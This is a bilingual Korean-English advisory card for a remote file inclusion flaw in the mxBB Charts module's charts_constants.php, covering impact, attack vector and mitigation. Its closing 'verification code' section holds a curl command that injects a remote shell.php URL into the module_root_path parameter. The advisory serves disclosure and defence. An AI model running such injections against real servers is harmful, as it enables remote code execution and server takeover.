🇰🇷 한글 설명
mxBB의 Charts 모듈 1.0.0 이하 버전 charts_constants.php에서 module_root_path 매개변수의 입력값 검증 부족으로 인한 원격 파일 포함(RFI) 취약점입니다. 공격자가 외부 URL을 주입하여 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
웹사이트의 Charts 기능에 악의적인 URL을 입력하면 해커가 원격에서 악성 코드를 실행할 수 있는 취약점입니다. 이를 통해 서버 전체 제어가 가능합니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in charts_constants.php in the Charts (mx_charts) 1.0.0 and earlier module for mxBB allows remote attackers to execute arbitrary PHP code via a URL in the module_root_path parameter.
📍 영향받는 시스템
mxBB Charts (mx_charts) 모듈 버전 1.0.0 이하
⚔️ 공격 벡터
charts_constants.php의 module_root_path 파라미터에 공격자 제어 URL 주입
🛡️ 대응 방법
Charts 모듈을 최신 버전으로 업그레이드 또는 입력값 검증 및 화이트리스트 적용
🔧 검증 코드
외부 URL의 파일이 로드되거나 PHP 코드 실행 흔적이 보이면 취약합니다. 정상 시스템은 거부하거나 로컬 경로만 허용합니다.
curl -s 'http://target/charts_constants.php?module_root_path=http://example.com/shell.php' 2>&1 | head -20